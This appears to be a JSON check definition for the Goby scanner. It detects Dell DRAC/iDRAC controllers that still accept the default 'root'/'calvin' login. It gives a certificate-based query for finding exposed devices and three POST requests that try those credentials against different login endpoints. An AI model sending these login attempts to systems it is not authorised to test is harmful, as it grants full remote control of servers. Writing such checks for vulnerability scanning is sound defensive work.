{ "Name": "Dell DARC Default Credentials", "Description": "The DARC administrator 'root' has a password that is set to the default value of 'calvin'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ", "Product": "Dell-DRAC", "Homepage": "https://www.delltechnologies.com/en-us/solutions/openmanage/idrac.htm", "DisclosureDate": "2012-04-23", "Author": "gobysec@gmail.com", "FofaQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"", "GobyQuery": "(cert=\"Remote Access Group\" || cert=\"iDRAC Group\") && cert=\"Dell Inc.\"", "Level": "3", "Impact": "Remote attacker can use this default to control the server.", "Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.", "References": [ "https://www.trustedsec.com/blog/owning-dell-drac-awesome-hack/" ], "HasExp": false, "ExpParams": [], "ExpTips": { "Type": "Tips", "Content": "" }, "ScanSteps": [ "OR", { "Request": { "data": "user=root&password=calvin", "data_type": "text", "follow_redirect": false, "header": { "Content-Type": "application/x-www-form-urlencoded" }, "method": "POST", "uri": "/data/login" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "contains", "type": "item", "value": "0", "variable": "$body" }, { "bz": "The maximum number of user sessions has been reached!", "operation": "contains", "type": "item", "value": "5", "variable": "$body" } ], "operation": "OR", "type": "group" }, "SetVariable": [] }, { "Request": { "data": "user=root&password=calvin&WEBSERVER_timeout=1800&WEBSERVER_timeout_select=1800", "data_type": "text", "follow_redirect": false, "header": { "Content-Type": "application/x-www-form-urlencoded" }, "method": "POST", "uri": "/cgi-bin/webcgi/login" }, "ResponseTest": { "checks": [ { "bz": "", "operation": "contains", "type": "item", "value": "/cgi-bin/webcgi/index", "variable": "$body" }, { "bz": "no free session", "operation": "contains", "type": "item", "value": "Connection refused, maximum sessions already in use", "variable": "$body" } ], "operation": "OR", "type": "group" }, "SetVariable": [] }, { "Request": { "data": "WEBVAR_USERNAME=root&WEBVAR_PASSWORD=calvin&WEBVAR_ISCMCLOGIN=0", "data_type": "text", "follow_redirect": false, "header": { "Content-Type": "application/x-www-form-urlencoded" }, "method": "POST", "uri": "/Applications/dellUI/RPC/WEBSES/create.asp" }, "ResponseTest": { "checks": [ { "bz": "no free session", "operation": "contains", "type": "item", "value": "Failure_No_Free_Slot", "variable": "$body" }, { "bz": "", "operation": "contains", "type": "item", "value": "'USERNAME' : 'root'", "variable": "$body" } ], "operation": "OR", "type": "group" }, "SetVariable": [] } ], "ExploitSteps": null, "Tags": [ "defaultaccount" ], "CVEIDs": null, "CVSSScore": "10.0", "AttackSurfaces": { "Application": null, "Support": ["Dell-DRAC"], "Service": null, "System": null, "Hardware": null }, "Disable": false }